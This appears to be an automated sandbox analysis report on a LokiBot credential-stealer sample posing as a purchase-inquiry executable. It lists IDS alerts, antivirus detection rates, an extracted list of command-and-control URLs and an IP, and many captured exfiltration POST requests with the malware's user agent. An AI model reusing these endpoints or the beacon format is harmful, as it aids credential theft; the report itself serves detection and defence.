Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:00.314607
SID:	2025381
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:03.034243
SID:	2024312
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:03.034243
SID:	2021641
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:07.737924
SID:	2025381
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:14.993058
SID:	2024318
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Purchase Inquiry_#466789.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://kbfvzoboss.bid/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.top/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.top/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.win/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.trade/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.trade/alien/fre.php	URL Reputation: Label: malware
Source: http://45.61.137.215/index.php/feed/	Avira URL Cloud: Label: malware
Source: http://45.61.137.215/index.php/wp-json/	Avira URL Cloud: Label: malware
Source: http://45.61.137.215/index.php/comments/feed/	Avira URL Cloud: Label: malware
Source: http://45.61.137.215/index.php/t?id=090	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://45.61.137.215/index.php/t?id=090"]}

Multi AV Scanner detection for domain / URL

Source: http://45.61.137.215/index.php/feed/	Virustotal: Detection: 6%	Perma Link
Source: http://45.61.137.215/index.php/comments/feed/	Virustotal: Detection: 6%	Perma Link
Source: http://45.61.137.215/index.php/t?id=090	Virustotal: Detection: 18%	Perma Link
Source: http://45.61.137.215/index.php/wp-json/	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for submitted file

Source: Purchase Inquiry_#466789.exe	ReversingLabs: Detection: 71%
Source: Purchase Inquiry_#466789.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Purchase Inquiry_#466789.exe

Joe Sandbox ML: detected

Source: Purchase Inquiry_#466789.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Purchase Inquiry_#466789.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

2_2_00403D74

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.4:49735 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49735 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49735 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.4:49735 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.4:49737 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49737 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49737 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.4:49737 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49739 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49739 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49739 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49739 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49740 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49740 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49740 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49740 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49741 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49741 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49741 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49741 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49742 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49742 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49742 -> 45.61.137.215:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.4:49742 -> 45.61.137.215:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: http://45.61.137.215/index.php/t?id=090

Source: Joe Sandbox View

IP Address: 45.61.137.215 45.61.137.215

Source: Joe Sandbox View

ASN Name: AS40676US AS40676US

Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.137.215

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Code function: 2_2_00404ED4 recv,

2_2_00404ED4

Source: unknown

HTTP traffic detected: POST /index.php/t?id=090 HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 45.61.137.215Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A316C5D8Content-Length: 176Connection: close

Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.61.137.215/index.php/comments/feed/
Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.61.137.215/index.php/feed/
Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2908357290.000000000049F000.00000040.00000400.00020000.00000000.sdmp, Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.61.137.215/index.php/t?id=090
Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.61.137.215/index.php/wp-json/
Source: Purchase Inquiry_#466789.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Purchase Inquiry_#466789.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Purchase Inquiry_#466789.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Purchase Inquiry_#466789.exe, Purchase Inquiry_#466789.exe, 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gmpg.org/xfn/11
Source: Purchase Inquiry_#466789.exe	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

System Summary

Malicious sample detected (through community Yara rule)

